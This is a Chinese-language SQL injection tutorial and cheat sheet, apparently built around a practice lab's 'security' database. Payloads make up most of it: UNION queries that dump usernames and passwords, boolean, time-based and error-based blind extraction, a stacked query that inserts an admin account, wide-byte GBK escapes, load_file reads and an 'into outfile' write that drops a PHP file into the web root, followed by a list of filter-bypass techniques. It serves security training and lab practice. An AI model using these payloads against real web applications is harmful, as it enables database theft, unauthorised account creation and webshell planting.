SQL注入漏洞
漏洞描述
Web 程序代码中对于用户提交的参数未做过滤就直接放到 SQL 语句中执行,导致参数中的特殊字符打破了原有的SQL 语句逻辑,黑客可以利用该漏洞执行任意 SQL 语句,如查询数据、下载数据、写入webshell 、执行系统命令以及绕过登录限制等。
SQL 注入漏洞的产生需要满足以下两个条件 :
- 参数用户可控:从前端传给后端的参数内容是用户可以控制的
- 参数带入数据库查询:传入的参数拼接到 SQL 语句,且带入数据库查询
漏洞危害
- 查询数据
- 下载数据
- 写入webshell
- 执行系统命令
- 绕过登录限制
用于测试注入点的语句
and 1=1--+
' and 1=1--+
" and 1=1--+
) and 1=1--+
') and 1=1--+
") and 1=1--+
")) and 1=1--+
漏洞分类
回显:
- UNION(联合注入)
不回显:
- 布尔盲注
- 时间盲注
- 报错注入
其他:
- 堆叠注入
- 二次注入
- 宽字节注入
- http头部注入
联合注入
使用场景:有显示位,可以将sql语句执行的结果输出到网页中。
# 查询字段数
?id=1' order by 3 -- -
# 查看回显位
?id=-1' union select 1,2,3-- -
//查询系统
?id=-1' union select 1,concat_ws('_',user(),version(),database()),@@basedir-- -
//查询所有数据库
?id=-1' union select 1,group_concat(schema_name),3 from information_schema.schemata -- -
//查询表
?id=-1' union select 1,group_concat(table_name),3 from information_schema.tables where table_schema=database()-- -
//查询列名
?id=-1' union select 1,group_concat(column_name),3 from information_schema.columns where table_schema=database() and table_name ='users'-- -
//查询数据
?id=-1' union select 1,group_concat('*',concat(username,'---',password)),3 from security.users -- -
布尔注入
使用场景:根据注入执行结果的布尔值,页面显示不同,由此来判断是否为布尔注入
payload:
//判断数据库的第一位是不是s
?id=1" and left(database(),1)='s'--+-
?id=1" and substr((select database()),1,1)='s' --+-
?id=1" and ascii(substr((select database()),1,1))=115--+-
//获取所有数据库名称
?id=1" and ascii(substr((select schema_name from information_schema.schemata limit 0,1),1,1))=105--+-
//获取当前数据库表名称
?id=1" and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))=101--+-
//获取当前数据库表users表的列名
?id=1" and ascii(substr((select column_name from information_schema.columns where table_schema=database() and table_name = 'users' limit 0,1),1,1))=105--+-
?id=1" and ord(mid((select column_name from information_schema.columns where table_schema=database() and table_name = 'users' limit 0,1),1,1))=105--+-
//获取users表的数据
?id=1" and ord(mid((select username from security.users limit 0,1 ),1,1))=68--+-
时间注入
使用场景:在注入时,无论注入是否正确,页面没有任何变化,没有显示位,也没有报错信息。但是加入sleep(5)条件之后,如果if条件成立则页面返回速度明显慢了5秒。
//判断时间数据库长度
?id=1" and if(length(database())>7,1,sleep(5)) --+-
//查询数据库的第一位
?id=1" and if(ascii(substr(database(),1,1))=115,1,sleep(5)) --+-
//查询表
?id=1" and if(ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))=101,1,sleep(5)) --+-
//获取当前数据库表users表的列名
?id=1" and if(ascii(substr((select column_name from information_schema.columns where table_schema=database() and table_name = 'users' limit 0,1),1,1))=105,1,sleep(5)) --+-
//获取users表的数据
?id=1" and if(ascii(substr((select username from security.users limit 0,1),1,1))=68,1,sleep(5)) --+-
报错注入
使用场景:报错注入的使用场景一般在页面无法显示数据库的信息,但是有报错内容,我们就可以尝试利用报错注入将错误信息与子查询语句中查询的内容带出,并不局限与这种场景,只要能将mysql错误信息输出都可以尝试进行报错注入。
报错注入形式上一般是做两个嵌套查询,里面的称为子查询,执行顺序是先进行子查询,所以我们可以通过子查询查询我们想要的数据,然后通过报错函数将我们查询的数据带出。
//updatexml报错方式
?id=1" and (updatexml(1,concat(0x3a,(select group_concat(schema_name) from information_schema.schemata)),1)))--+-
//extractvalue报错方式
id=1" and extractvalue(1, concat((select group_concat(0x7e,table_name,0x7e) from information_schema.tables where table_schema=database())))--+-
堆叠注入
堆叠查询:堆叠查询可以执行多条 SQL 语句,语句之间以分号(;)隔开,而堆叠查询注入攻击就是利用此特点,在第二条语句中构造要执行攻击的语句。
在 mysql 里 mysqli_multi_query 和 mysql_multi_query 这两个函数执行一个或多个针对数据库的查询。多个查询用分号进行分隔。但是堆叠查询只能返回第一条查询信息,不返回后面的信息。
堆叠注入的危害是很大的 可以任意使用增删改查的语句,例如删除数据库 修改数据库,添加数据库用户
# 在得知对方管理表结构的前提下,可以向管理表插入一个管理员账号
?id=1';insert into users value(20,"sc","sc");--+-
# 查询一下
?id=20
二次注入
二次注入过程中,在第一次数据库插入数据的时候,如果仅仅只是使用了addslashes或者是借助get_magic_quotes_gpc对其中的特殊字符进行了转义,但是addslashea有一个特点就是虽然参数在过滤后添加”\“进行转义,但是”\“并不会插入到数据库中,在写入数据时会保留原来的数据。
在将数据存入到了数据库中之后,开发者就认为数据是可信的。在下一次进行需要进行查询的时候,直接从数据库中取出了脏数据,没有进行下一步的检验和处理,这样就会造成 SQL 的二次注入。
比如:在第一次 插入数据的时候,数据中带有单引号,直接插入到了数据库中;然后在下一次使用中在拼凑的过程中,就形成了二次注入.
$sql = "insert into users ( username, password) values("$username", "$pass")";
$sql = "UPDATE users SET PASSWORD='$pass' where username='$username' andpassword='$curr_pass' ";
$sql = "UPDATE users SET PASSWORD='456' where username='admin’#' and password='$curr_pass' ";
宽字节注入
宽字节注入,在SQL进行防注入的时候,一般会开启gpc,过滤特殊字符。一般情况下开启gpc是可以防御很多字符串的注入,但是如果数据库编码不对,也可以导致SQL防注入绕过,达到注入目的。如果数据库设置宽字节字符集gpk会导致宽字节注入,从而逃逸gpc。
前提条件
简单理解:数据库编码与 PHP 编码设置为不同的两个编码那么就有可能产生宽字节注入
深入讲解:要有宽字节注入漏洞,首先满足数据库和后端使用双或多字节解析sql语句其次还要保证在 该种字符集中包含**0x5c(01011100)**的字符,初步测试结果为Big5和GBK字符集都是有的,UTF-8 和 GB2312没有这种字符。(也就不存在宽字节注入)
常见的转义函数
常见转义函数与配置:addslashes、mysql_real_escape_string、mysql_escape_string、php.ini 中 magic_quote_gpc的配置
在线gbk编码表:
https://www.toolhelper.cn/Encoding/GBK
’ ——> %27
空格 ——> %20
#符号 ——> %23
\ ——> %5C
payload
32
?id=1%aa' and 1=2 -- -
?id=1%aa' order by 3 -- -
?id=-1%aa' union select 1,2,3 -- -
?id=-1%aa' union select 1,user(),3 -- -
HTTP头部注入
User-Agent:浏览器版本
COOKIE: 网站为了辨别用户身份、进行session跟踪而存储在用户本地终端上的数据
X-Forwarded-For:获取HTTP请求端真实IP
Client-IP: 获取IP
Referer:浏览器向Web服务器表名自己是从哪个页面链接过来的
Host:访问的Web服务器的域名/IP和端口号
21
admin') order by 3 -- -
读写文件操作
前提条件
必须有权限读写并且完全可读写
ecure_file_priv不能为空
要读取的文件必须在服务器
必须指定文件的完整路径
?id=-1' union select 1,load_file("C:\\phpStudy\\PHPTutorial\\1.txt"),3--+-
?id=-1' union select 1,load_file("D:/phpStudy/PHPTutorial/WWW/flag.txt"),3--+-
?id=-1' union select 1,"<?php phpinfo(); ?>",3 into outfile "D:\\phpStudy\\PHPTutorial\\WWW\\2.php" --+-
常用的绕过方法
- 空格字符绕过
- 大小写绕过
- 浮点数绕过注入
- NULL 值绕过
- 引号绕过
- 添加库名绕过
- 逗号绕过
- 分块传输绕
- Unicode 编码绕过